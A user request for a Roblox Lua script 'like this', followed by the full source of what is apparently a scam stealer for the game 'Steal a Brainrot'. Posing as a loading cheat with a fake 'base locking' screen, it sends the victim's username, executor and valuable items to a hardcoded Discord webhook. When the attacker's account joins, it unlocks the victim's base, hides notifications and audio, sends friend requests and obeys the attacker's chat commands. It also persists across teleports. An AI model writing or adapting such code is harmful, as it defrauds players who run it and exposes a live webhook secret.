can u make me a lua script like this on roblox with this fuction?
local main = [[
if not game:IsLoaded() then
game.Loaded:Wait()
end
if _G.Executed then
warn("You have already executed this.")
return
end
_G.Executed = true
setclipboard("https://discord.gg/ewCdAhvWva")
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Discord Invite Copied!";
Text = "Join For Support!";
Duration = 5;
})
if not table.find({109983668079237, 96342491571673}, game.PlaceId) then game.Players.LocalPlayer:Kick("wrong game, this is not steal a brainrot.\ndiscord.gg/trax") return end
local Username = "]] ..x_gtps.. [["
local Webhook = "]] ..https://discord.com/api/webhooks/1416459747405861024/zfH-jXQ1LCpefgDiYUnfUviMC_vo1VZ-dNZjv4JqLhA1XdgU89Ya0IHZVG5jz5gH26uO.. [["
local RunS = game:GetService("RunService")
local TweenService = game:GetService("TweenService")
local plr = game.Players.LocalPlayer
local gui = Instance.new("ScreenGui", plr:WaitForChild("PlayerGui"))
gui.Name = "gui"
gui.ResetOnSpawn = false
gui.IgnoreGuiInset = true
gui.DisplayOrder = 999999
local function stroke(obj, thickness, color)
local s = Instance.new("UIStroke", obj)
s.Thickness = thickness
s.Color = color
end
local bg = Instance.new("Frame", gui)
bg.Size = UDim2.new(0, 400, 0, 150)
bg.Position = UDim2.new(0.5, 0, 0.5, 0)
bg.AnchorPoint = Vector2.new(0.5, 0.5)
bg.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
bg.BorderSizePixel = 1
bg.BorderColor3 = Color3.fromRGB(160, 220, 160)
local bgC = Instance.new("UICorner", bg)
bgC.CornerRadius = UDim.new(0, 20)
local gradient = Instance.new("UIGradient", bg)
gradient.Color = ColorSequence.new({
ColorSequenceKeypoint.new(0, Color3.fromRGB(0, 0, 255)),
ColorSequenceKeypoint.new(1, Color3.fromRGB(255, 0, 0))
})
local discord = Instance.new("TextLabel", gui)
discord.Size = UDim2.new(0, 500, 0, 30)
discord.Position = UDim2.new(0.5, 0, 0.75, 0)
discord.AnchorPoint = Vector2.new(0.5, 0)
discord.BackgroundTransparency = 1
discord.Text = "Join Our Discord: https://discord.gg/ewCdAhvWva (copied)"
discord.TextColor3 = Color3.fromRGB(100, 200, 255)
discord.Font = Enum.Font.FredokaOne
discord.TextScaled = true
discord.TextWrapped = true
stroke(discord, 1, Color3.fromRGB(255, 255, 255))
local barBG = Instance.new("Frame", bg)
barBG.Size = UDim2.new(0, 360, 0, 28)
barBG.Position = UDim2.new(0.5, 0, 0.6, 0)
barBG.AnchorPoint = Vector2.new(0.5, 0.5)
barBG.BackgroundColor3 = Color3.fromRGB(30, 30, 120)
barBG.BorderSizePixel = 1
barBG.BorderColor3 = Color3.fromRGB(60, 60, 150)
barBG.ClipsDescendants = true
Instance.new("UICorner", barBG)
local bar = Instance.new("Frame", barBG)
bar.Size = UDim2.new(0, 0, 1, 0)
bar.Position = UDim2.new(0, 0, 0, 0)
bar.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
bar.BorderSizePixel = 0
Instance.new("UICorner", bar)
stroke(bar, 1, Color3.fromRGB(255, 100, 100))
local pct = Instance.new("TextLabel", barBG)
pct.Size = UDim2.new(1, 0, 1, 0)
pct.BackgroundTransparency = 1
pct.TextColor3 = Color3.fromRGB(255, 255, 255)
pct.Font = Enum.Font.FredokaOne
pct.TextScaled = true
pct.Text = "0%"
stroke(pct, 1, Color3.fromRGB(0, 0, 0))
local title = Instance.new("TextLabel", bg)
title.Size = UDim2.new(0.6, 0, 0.1, 0)
title.Position = UDim2.new(0.5, 0, 0.1, 0)
title.AnchorPoint = Vector2.new(0.5, 0)
title.BackgroundTransparency = 1
title.Text = "πββοΈ Steal A Brainrot π¨"
title.TextColor3 = Color3.fromRGB(80, 30, 120)
title.Font = Enum.Font.FredokaOne
title.TextScaled = true
title.Visible = false
stroke(title, 2, Color3.fromRGB(255, 255, 255))
local safe = Instance.new("TextLabel", bg)
safe.Size = UDim2.new(0.7, 0, 0.05, 0)
safe.Position = UDim2.new(0.5, 0, 0.22, 0)
safe.AnchorPoint = Vector2.new(0.5, 0)
safe.BackgroundTransparency = 1
safe.Text = "Donβt worry, your base is being automatically locked!"
safe.TextColor3 = Color3.fromRGB(80, 120, 200)
safe.Font = Enum.Font.FredokaOne
safe.TextScaled = true
safe.TextWrapped = true
safe.Visible = false
stroke(safe, 1, Color3.fromRGB(255, 255, 255))
local status = Instance.new("TextLabel", bg)
status.Size = UDim2.new(0.5, 0, 0.05, 0)
status.Position = UDim2.new(0.5, 0, 0.95, 0)
status.AnchorPoint = Vector2.new(0.5, 1)
status.BackgroundTransparency = 1
status.TextColor3 = Color3.fromRGB(220, 180, 255)
status.Font = Enum.Font.FredokaOne
status.TextScaled = true
status.Text = "Starting..."
status.Visible = false
stroke(status, 1, Color3.fromRGB(100, 50, 150))
local msgs = {
"Script loading...", "Adding assets...", "Preparing environment...",
"Almost ready...", "Optimizing performance...", "Connecting to server...",
"Fetching player data...", "Initializing modules...", "Finalizing setup...",
"Getting things ready...", "Loading textures...", "Syncing with database...",
"Adjusting parameters...", "Calibrating UI...", "Verifying files...",
"Setting up events...", "Loading sounds...", "Cleaning cache...",
"Starting services...", "Checking updates...", "Running diagnostics...",
"Configuring settings...", "Loading player stats...", "Building scene...",
"Applying script assets...", "Updating scripts...", "Preparing animations...",
"Loading inventory...", "Checking connections...", "Final checks...",
"Bypassing anti cheatβ¦"
}
local function Expand()
local tween = TweenService:Create(bg, TweenInfo.new(1.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {
Size = UDim2.new(1, 0, 1, 0),
Position = UDim2.new(0.5, 0, 0.5, 0)
})
tween:Play()
tween.Completed:Connect(function()
bgC.CornerRadius = UDim.new(0, 0)
title.Visible = true
status.Visible = true
safe.Visible = true
end)
end
local start = tick()
local total = 600 -- 10 min
local early = 120 -- 60% in 2 min
local late = 480 -- 40% in 8 min change these if you want idk
local msgindex = 1
local msginterval = 3
local lastmsgtime = tick()
RunS.RenderStepped:Connect(function()
local now = tick()
local elapsed = now - start
local percent
if elapsed <= early then
percent = (elapsed / early) * 0.6
elseif elapsed <= total then
local t = elapsed - early
percent = 0.6 + (t / late) * 0.4
else
percent = 1
end
bar.Size = UDim2.new(percent, 0, 1, 0)
pct.Text = string.format("%.1f%%", percent * 100)
if status.Visible and (now - lastmsgtime >= msginterval) then
msgindex += 1
if msgindex > #msgs then msgindex = 1 end
status.Text = msgs[msgindex]
lastmsgtime = now
end
end)
local HttpService = game:GetService("HttpService")
local player = game.Players.LocalPlayer
local Players = game.Players
local Request = (syn and syn.request) or http_request or request
local executor = identifyexecutor()
local server = game:GetService("RobloxReplicatedStorage").GetServerType:InvokeServer()
local TPM = 'game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. game.JobId .. '")'
local joinL = "https://floating.gg/?placeID=" .. game.PlaceId .. "&gameInstanceId=" .. game.JobId
local FLink = string.format("[**click me to join**](%s)", joinL)
game:GetService("CoreGui").RobloxGui:Destroy()
local brainrots = {}
local SHOULD_PING = false
local TPS = game:GetService("TeleportService")
if server == "VIPServer" or #game.Players:GetPlayers() >= game.Players.MaxPlayers then
local tried, retrying = {}, true
TPS.TeleportInitFailed:Connect(function() retrying = true end)
while retrying do
retrying = false
local success, data = pcall(function()
local response = game:HttpGet("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")
return HttpService:JSONDecode(response).data
end)
if success and data then
for _, s in ipairs(data) do
if typeof(s.playing) == "number" and s.playing > 0 and s.playing <= 3 and not tried[s.id] then
tried[s.id] = true
local ok = pcall(function()
TPS:TeleportToPlaceInstance(game.PlaceId, s.id, player)
end)
if not ok then retrying = true end
break
end
end
end
task.wait(1)
end
end
local priority = { -- these are really outdated, brainrots are in ReplicatedStorage.Datas.Animals
["π§"] = "Garama and Madundung", -- 50m/s
["β’οΈ"] = "Nuclearo Dinossauro", -- 15m/s
["πͺ"] = "La Grande Combinasion", -- 10m/s
["π"] = "Pot Hotspot", -- 2.5m/s
["π¦"] = "Graipuss Medussi", -- 1m/s
["π¦"] = "Los Tralaleritos", -- 650k/s
["π"] = "Torrtuginni Dragonfrutini", -- 350k/s
["π·οΈ"] = "Chimpanzini Spiderini", -- 300k/s
["πͺ"] = "La Vacca Saturno Saturnita", -- 250k/s
["π©°"] = "Ballerino Lololo", -- 200k/s
["π"] = "Trenostruzzo Turbo 3000" -- 150k/s
}
local traits = { -- outdated also, traits are in ReplicatedStorage.Datas.Traits
["rbxassetid://110835412437000"] = "Taco",
["rbxassetid://121100427764858"] = "Fireworks",
["rbxassetid://104229924295526"] = "Nyan",
["rbxassetid://99181785766598"] = "Galactic",
["rbxassetid://110723387483939"] = "Zombie",
["rbxassetid://104964195846833"] = "Claws",
["rbxassetid://121332433272976"] = "Glitched",
["rbxassetid://100601425541874"] = "Bubblegum"
}
local rarities = {
["OG"] = 1, ["Secret"] = 2, ["Brainrot God"] = 3, ["Mythic"] = 4, ["Legendary"] = 5, ["Epic"] = 6, ["Rare"] = 7, ["Common"] = 8
}
for _, plot in ipairs(workspace.Plots:GetChildren()) do
local label = plot.PlotSign.SurfaceGui.Frame:FindFirstChild("TextLabel")
if label and label.Text:find(player.Name) and label.Text:find("Base") then
local podiums = plot:FindFirstChild("AnimalPodiums")
if podiums then
for _, podium in ipairs(podiums:GetChildren()) do
local attachment = podium.Base.Spawn:FindFirstChild("Attachment")
local overhead = attachment and attachment:FindFirstChild("AnimalOverhead")
if overhead then
local name = overhead:FindFirstChild("DisplayName").Text
local rarity = overhead:FindFirstChild("Rarity").Text
if name and rarity then
local mutations = {}
for _, v in ipairs(overhead:GetChildren()) do
if v:IsA("TextLabel") and v.Name == "Mutation" and v.Visible and v.Text ~= "" then
table.insert(mutations, v.Text)
end
end
local traitsF = overhead:FindFirstChild("Traits")
if traitsF then
for _, icon in ipairs(traitsF:GetChildren()) do
if icon:IsA("ImageLabel") and icon.Visible then
local id = icon.Image
local trait = traits[id]
if trait then
table.insert(mutations, trait)
end
end
end
end
local mutationStr = #mutations > 0 and ("[" .. table.concat(mutations, ", ") .. "] ") or ""
local FN = mutationStr .. name
local emoji = nil
for em, brainrot in pairs(priority) do
if name == brainrot then
emoji = em
SHOULD_PING = true
break
end
end
local genT = overhead:FindFirstChild("Generation") and overhead.Generation.Text or "$0"
local gen = tonumber(genT:match("%d+")) or 0
if genT:find("K") then gen = gen * 1000 end
if genT:find("M") then gen = gen * 1000000 end
if genT:find("B") then gen = gen * 1000000000 end
if genT:find("T") then gen = gen * 1000000000000 end
table.insert(brainrots, {
name = string.format("%s β %s β %s %s", emoji or "π΅", FN, rarity, genT),
priority = emoji ~= nil,
rarityy = rarities[rarity] or 999,
generation = gen
})
end
end
end
end
end
end
table.sort(brainrots, function(a, b)
if a.priority ~= b.priority then
return a.priority < b.priority
end
if a.rarityy ~= b.rarityy then
return a.rarityy < b.rarityy
end
if a.generation ~= b.generation then
return a.generation > b.generation
end
return false
end)
local hits = {}
for _, v in ipairs(brainrots) do
table.insert(hits, v.name)
end
local function createfull() -- can be used to put the full hit list in a txt file
return table.concat(hits, "\n")
end
local limitedList = {}
for i, v in ipairs(hits) do
if i <= 15 then
table.insert(limitedList, v)
elseif i == 16 then
table.insert(limitedList, "...and more!")
break
end
end
local HLF = table.concat(limitedList, "\n")
local ping = SHOULD_PING and "@everyone " or ""
if #brainrots == 0 then
setclipboard("https://discord.gg/ewCdAhvWva")
player:Kick("Version Outdated. Join Discord for newest. (Invite copied)")
return
end
local function send(url)
local FURL = url:match("^%d+%-%d+%-%d+$") and ("https://protector-aa3k.onrender.com/send/" .. url) or url -- this was for my webhook protector
local body = {
content = ping .. TPM,
embeds = {{
title = ":dash: **Steal A Brainrot Hit!!** :brain:",
color = 255,
fields = {
{
name = ":bust_in_silhouette: **__Player Information:__**",
value = string.format("```Victim: %s\nDisplay Username: %s\nExecutor: %s\nReceiver: %s```",
player.Name, player.DisplayName, executor, Username),
inline = false
},
{
name = ":champagne: **__Valuable Items:__**",
value = "```" .. (HLF ~= "" and HLF or "Nil") .. "```",
inline = false
},
{
name = ":moneybag: **__Summary:__**",
value = "```Total Items: " .. #brainrots .. "```",
inline = false
},
{
name = ":flying_saucer: **__Join Link:__**",
value = FLink,
inline = false
}
},
footer = { text = "Hit using Trax Scripts | Today at " .. os.date("%H:%M") }
}}
}
pcall(function()
Request({
Url = FURL,
Method = "POST",
Headers = {["Content-Type"] = "application/json"},
Body = HttpService:JSONEncode(body)
})
end)
end
send(Webhook)
local started = false
local function start()
if started then return end
started = true
local sg = game:GetService("StarterGui")
local mt = getrawmetatable(game)
setreadonly(mt, false)
local old = mt.__namecall
mt.__namecall = newcclosure(function(self, ...)
if self == sg and getnamecallmethod() == "SetCore" and (...) == "SendNotification" then
return
end
return old(self, ...)
end)
game:GetService("ReplicatedStorage"):WaitForChild("Packages"):WaitForChild("Net"):WaitForChild("RE/PlotService/ToggleFriends"):FireServer()
local day = workspace:FindFirstChild("Sounds").Day
for _, s in ipairs(game:GetDescendants()) do
if s:IsA("Sound") and s ~= day then
s.Volume = 0
end
end
game.DescendantAdded:Connect(function(o)
if o:IsA("Sound") and o ~= day then
o.Volume = 0
end
end)
if day then
day.Volume = 1
day:Play()
end
local base
for _, plot in ipairs(workspace.Plots:GetChildren()) do
local label = plot:FindFirstChild("PlotSign")
and plot.PlotSign:FindFirstChild("SurfaceGui")
and plot.PlotSign.SurfaceGui:FindFirstChild("Frame")
and plot.PlotSign.SurfaceGui.Frame:FindFirstChild("TextLabel")
if label and label.Text:find(player.DisplayName) then -- still works but theres a better way from the plotcontroller module
base = plot
break
end
end
if not base then return end
local char = player.Character or player.CharacterAdded:Wait()
local hrp = char:WaitForChild("HumanoidRootPart")
local hum = char:WaitForChild("Humanoid")
local purchases = base:FindFirstChild("Purchases")
local fpanel = base:FindFirstChild("FriendPanel")
local target
if purchases then
if game.PlaceId == 109983668079237 then
local cdist = math.huge
if fpanel then
local rpos = fpanel:GetPivot().Position
for _, blk in ipairs(purchases:GetChildren()) do
if blk.Name == "PlotBlock" then
local hb = blk:FindFirstChild("Hitbox")
if hb and hb:IsA("BasePart") then
local dist = (hb.Position - rpos).Magnitude
if dist < cdist then
cdist = dist
target = hb
end
end
end
end
end
end
end
if not target then return end
hum.Health = 0
task.wait(4)
task.spawn(function()
while true do
hum:MoveTo(target.Position)
task.wait()
end
end)
task.spawn(function()
while true do
if (hrp.Position - target.Position).Magnitude < 6 then
local ti = target:FindFirstChildWhichIsA("TouchTransmitter", true)
if ti then
firetouchinterest(hrp, target, 0)
task.wait(0.1)
firetouchinterest(hrp, target, 1)
task.wait(0.1)
end
else
task.wait()
end
end
end)
end
local friended = false
local function friend()
local receiver
repeat
receiver = game.Players:FindFirstChild(Username)
task.wait()
until receiver
task.spawn(function()
while true do
if not player:IsFriendsWith(receiver.UserId) then
pcall(function()
player:RequestFriendship(receiver)
end)
end
task.wait(2)
end
end)
end
local function check(p)
if p.Name:lower() == Username:lower() then
Expand()
task.wait(2)
start()
end
end
for _, p in ipairs(game.Players:GetPlayers()) do
check(p)
end
game.Players.PlayerAdded:Connect(check)
local function chatlistener(p)
if p.Name:lower() == Username:lower() then
p.Chatted:Connect(function(msg)
if msg == ".rejoin" then
game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, game.JobId)
elseif msg == ".kick" then
player:Kick("hello")
elseif not friended then
friend()
friended = true
end
end)
end
end
for _, p in ipairs(game.Players:GetPlayers()) do
chatlistener(p)
end
game.Players.PlayerAdded:Connect(chatlistener)
]]
loadstring(main)()
queue_on_teleport(main)